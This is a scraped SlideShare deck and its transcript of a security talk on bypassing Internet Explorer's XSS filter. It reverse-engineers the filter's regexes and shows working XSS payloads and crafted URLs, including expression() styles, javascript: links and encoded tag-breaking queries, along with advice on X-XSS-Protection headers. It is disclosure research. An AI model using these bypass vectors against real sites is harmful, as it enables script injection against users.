Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
X-XSS-Nightmare: 1; mode=attack
XSS Attacks
Exploiting XSS Filter
Masato Kinugawa
Self-Introduction
Masato Kinugawa
Self-Introduction
Masato Kinugawa
x
s
Self-Introduction
Masato Kinugawa
x
s
B
Bug-hunter's Joy
Self-Introduction
Today's topics
❶XSS technique
❷Bypass XSS filter technique
Using IE's XSS filter
XSS Filter
Chrome and Safari have the same function.
It was introduced from IE8.(2009)
Basic of XSS filter of IE
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="...
Like this #
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head...
Dangerous condition
It isn't documented in particular.
We can see the loading binary to browser of dll
include regex of cu...
Inaccuracy of XSS Filter
If matched with the condition, XSS filter
rewrites a string unrelated to part of a
dynamic creati...
Nightmare: 1
JS execution from style
attribute
<p style="x:expression(alert(1))">
<p style="behavior:url(script.sct)">
expression() or ...
Example of the style
attribute grammar.
<p style="x=expression(alert(1))">
Using colon instead of equal
(Compatibility mod...
Regex of style attribute
section in the filter.
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?))....
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
Attention here
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|...
URL: ?/style+=:
/styleA=:
To the following request.
When below is output.
How does the XSS filter react?
Anatomizing blank...
Anatomizing blank section
One character between "style" and =
URL: ?/style+=:
/st#leA=:
To the following request.
When bel...
Anatomizing blank section
2 characters
URL: ?/style+=:
/st#leAA=:
To the following request.
When below is output.
Matched!
Anatomizing blank section
3 characters
URL: ?/style+=:
/st#leAAA=:
To the following request.
When below is output.
Matched!
Anatomizing blank section
4 characters
URL: ?/style+=:
/st#leAAAA=:
To the following request.
When below is output.
Matche...
Anatomizing blank section
5 characters
URL: ?/style+=:
/st#leAAAAA=:
To the following request.
When below is output.
Match...
Anatomizing blank section
6 characters
URL: ?/style+=:
/st#leAAAAAA=:
To the following request.
When below is output.
Matc...
Anatomizing blank section
7 characters
URL: ?/style+=:
/styleAAAAAAA=:
To the following request.
When below is output.
Thr...
Anatomizing blank section
In 0 character,
URL: ?/style+=:
/st#le=:
To the following request.
When below is output.
Matched!
In short
URL: ?/style+=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/st#leAAAA=:
/st#leAAAAA=:
/st#leAAAAAA=:
/styleAAAAAAA...
In ++,
URL: ?/style++=:
/st#leAAAAAAA=:
matched to 7 characters
Matched!
Width of 0-6 bytes
u000A (6bytes)

 (6bytes)
The consideration of a case where
characters are replaced or deleted.
This wi...
For example, / is 0-3 bytes
width.
URL: ?/style/=:
/st#le=:
/st#leA=:
/st#leAA=:
/st#leAAA=:
/styleAAAA=:
/styleAAAAA=:
/s...
Last backslash
URL: ?/style=:
/st#le=:
/st#le=:aaa
Even outside of HTML reacts.
Example of correct cut-off of
style attribute
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background...
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q"...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
In this time, Cheat the filter
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>...
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q"...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="&quot;&lt;&gt;">
</body>
</html>
[ /+t"'`]sty...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
[ /+t"'`]style[ /+t]*?
=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|
(61)|(3D));?)).*?([(]|(&[#()[].]x?
0*((40)|(28)|(92)|(5C));?))
...
</st#le>
What will happen?
<style>
body{background:gold}
</style>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
Original area
o...
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="">
...
URL: ?/style++++++=++=
The area of sty...
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*...
<style>
body{background:gold}
</st#le>
</head>
<body>
<input name="q" value="
{}*{x:expression(alert(1))}">
URL:
?q=%0A{}*...
Nightmare: 2
javascript:Cut-off regex
of link
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(t...
Make it easy to see
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line...
Make it easy to see
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line...
Make it easy to see
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line...
Make it easy to see
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line...
Make it easy to see
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line...
Make it easy to see
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line...
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))
([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new
line;))))*
(a|(&[#()[].]...
Cheat the filter again
<script type="text/javascript">a=1</script>
<script>
var q="[USER_INPUT]";
</script>
We assume that...
Cheat the filter again
<script type="text/javascript">a=1</script>
<script>
var q="</script>"";
</script>
XSS measure is
a...
Cheat the filter again
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</scrip...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<script>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<sc#ipt>
What will happen?
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
<script type="text/javascript">a=1</script>
<sc#ipt>
var q=":<img src=x onerror=alert(1)>";
</script>
URL: ?java%0A%0A%0A%...
Nightmare: 3
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
The character which passes
through literal and
as...
<body>
<script>
var q="";abc#def=";
</script>
</body>
URL: ?q=";abc.def=
Example of correct filter
(string literal)
The fi...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
Filter's regex
of string literal
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<body>
<script>
var q="";abc.def=";
</script>
</body>
URL: ?q=";abc.def=
Matc...
Cheat the filter one more
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
We assume that code of o...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ?
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co.jp/test.js"
type="text/javascript">
</script>
URL: ...
["'][ ]*
(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
URL: ...
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
What will happen?
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
This is not loading from example.co.jp,
loading fr...
<script
src="//example.co#jp/test.js"
type="text/javascript">
</script>
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="../1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
<link
rel="stylesheet"
href="#./1.css">
What will happen?
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
["'][ ]*(([^a-z0-9~_:'" ])|(in))
.+?[.].+?=
...
<link rel="stylesheet"
href="#./1.css">
<link rel="stylesheet"
href="../2....
Nightmare: 4
Bypass 1: expression()
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3...
<p style=v:expression&bx28;alert&bx28;1))>s:
Something is here!
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))...
Rignt, vbs: and vbscript:
are cut-off targets.
(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#
()[].]x?0*(9|(13)|(1...
<p style=v:expression&bx28;alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%...
<p style=v:expression(alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A...
<p style=v:expression(alert&bx28;1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A...
<p style=v:expression(alert(1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:...
<p style=v:expression(alert(1))>s:
URL:
?q=<p+style=v:expression%26bx28%3Balert%26b
x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:...
Bypass 2: <a folder>
https://html5sec.org/#36
<a folder="javascript:alert(1)"
style="behavior:url(#default#Anch
orClick)">...
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorClick)"s:>Click&v%0Ab%0...
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorClick)"s:>Click&v%0Ab%0...
URL:
?q=<a+folder="jav%26bx41%3Bscript:alert(1)"
+style="behavior:url%26bx28%3B%23default%23
AnchorClick)"s:>Click&v%0Ab%0...
http://l0.cm/xxn/
The test page of all
methods.
It includes methods
which I didn't introduce.
Overcome the
Nightmare
X-XSS-Protection
Value Effect
0 Disable
1 Enable
(Partial rewrite)
1;mode=block Enable
(Prevent rendering of the page)
Def...
Default is partial rewrite
It rewrites only problem part.
It seems to be good for developers.
That,
➡ How should site admi...
How are
careful persons doing?
HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: ...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options:...
The choice which
considered more safety
Value Sites which should choose header
0
They are measuring basic XSS.
/They want ...
Is mode=block safe?
It should don't affect direct script execution.
I think a favor of the filter is bigger than it.
If fe...
Do you want to use
no X-XSS-Protection?
Then, you should do as follows:
If you can do those,
From the first, you don't cre...
In fact
In some case, it is possible to
not operate specific function
from intentional false positive.
(…)
Did the author ...
In fact
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
Insider said
"The answer is Yes. ".
Mr. Hasegawa
Brows...
Conclusions
I'm hoping for improvement of XSS filter.
It should still be possible to do safely.
Is present default action ...
";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com
http://l0.cm/xxn/DEMO
Upcoming SlideShare
Loading in …5
×

X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter

29,734 views

Published on

2015/12: I removed some slides because some vectors are not fixed yet.
2016/12: Disclosed full verson

Published in: Technology

X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter

  1. 1. X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter Masato Kinugawa
  2. 2. Self-Introduction Masato Kinugawa
  3. 3. Self-Introduction Masato Kinugawa x s
  4. 4. Self-Introduction Masato Kinugawa x s B
  5. 5. Bug-hunter's Joy Self-Introduction
  6. 6. Today's topics ❶XSS technique ❷Bypass XSS filter technique Using IE's XSS filter
  7. 7. XSS Filter Chrome and Safari have the same function. It was introduced from IE8.(2009)
  8. 8. Basic of XSS filter of IE http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> Before cut-off If request and response are matched with dangerous condition, XSS filter rewrites a page.
  9. 9. Like this # http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> If request and response are matched with dangerous condition, XSS filter rewrites a page. After cut-off
  10. 10. Dangerous condition It isn't documented in particular. We can see the loading binary to browser of dll include regex of cut-off strings. The regex introduced by this slide is from here.
  11. 11. Inaccuracy of XSS Filter If matched with the condition, XSS filter rewrites a string unrelated to part of a dynamic creation of user input. http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
  12. 12. Nightmare: 1
  13. 13. JS execution from style attribute <p style="x:expression(alert(1))"> <p style="behavior:url(script.sct)"> expression() or behavior are possible.
  14. 14. Example of the style attribute grammar. <p style="x=expression(alert(1))"> Using colon instead of equal (Compatibility mode only) <p style="x:expression0028alert(1)0029"> <p style="x:expression(alert(1))"> Unicode escape of CSS Numeric character references
  15. 15. Regex of style attribute section in the filter. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  16. 16. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) First, end of attribute Regex of style attribute section in the filter.
  17. 17. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Then, style= Regex of style attribute section in the filter.
  18. 18. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Then, colon or equal Regex of style attribute section in the filter.
  19. 19. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) If string includes left bracket or backslash, cut the request. Regex of style attribute section in the filter.
  20. 20. Attention here [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) If string includes more than 0 characters of string equal to blank after "style", cut the request. [0x09-0x0D] OR [0x20] OR / OR +
  21. 21. URL: ?/style+=: /styleA=: To the following request. When below is output. How does the XSS filter react? Anatomizing blank section
  22. 22. Anatomizing blank section One character between "style" and = URL: ?/style+=: /st#leA=: To the following request. When below is output. Matched!
  23. 23. Anatomizing blank section 2 characters URL: ?/style+=: /st#leAA=: To the following request. When below is output. Matched!
  24. 24. Anatomizing blank section 3 characters URL: ?/style+=: /st#leAAA=: To the following request. When below is output. Matched!
  25. 25. Anatomizing blank section 4 characters URL: ?/style+=: /st#leAAAA=: To the following request. When below is output. Matched!
  26. 26. Anatomizing blank section 5 characters URL: ?/style+=: /st#leAAAAA=: To the following request. When below is output. Matched!
  27. 27. Anatomizing blank section 6 characters URL: ?/style+=: /st#leAAAAAA=: To the following request. When below is output. Matched!
  28. 28. Anatomizing blank section 7 characters URL: ?/style+=: /styleAAAAAAA=: To the following request. When below is output. Through
  29. 29. Anatomizing blank section In 0 character, URL: ?/style+=: /st#le=: To the following request. When below is output. Matched!
  30. 30. In short URL: ?/style+=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /st#leAAAA=: /st#leAAAAA=: /st#leAAAAAA=: /styleAAAAAAA=: =+ in the URL Arbitrary 0-6 bytes in the HTML
  31. 31. In ++, URL: ?/style++=: /st#leAAAAAAA=: matched to 7 characters Matched!
  32. 32. Width of 0-6 bytes u000A (6bytes) (6bytes) The consideration of a case where characters are replaced or deleted. This width is changing from character(byte).
  33. 33. For example, / is 0-3 bytes width. URL: ?/style/=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /styleAAAA=: /styleAAAAA=: /styleAAAAAA=: /styleAAAAAAA=:
  34. 34. Last backslash URL: ?/style=: /st#le=: /st#le=:aaa Even outside of HTML reacts.
  35. 35. Example of correct cut-off of style attribute <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="[XSS_HERE]"> </body> </html> URL: ?q=[XSS_HERE] In this case,
  36. 36. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> </body> </html> URL: ?q="style="x:expression(alert(1)) You can attack like this. but, if It includes the filter… Example of correct cut-off of style attribute
  37. 37. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  38. 38. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  39. 39. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  40. 40. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  41. 41. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  42. 42. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  43. 43. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  44. 44. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) Matched!
  45. 45. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""st#le="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) adequately cut-off!
  46. 46. In this time, Cheat the filter <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> Nothing XSS
  47. 47. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> Attention here
  48. 48. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  49. 49. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  50. 50. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  51. 51. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  52. 52. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
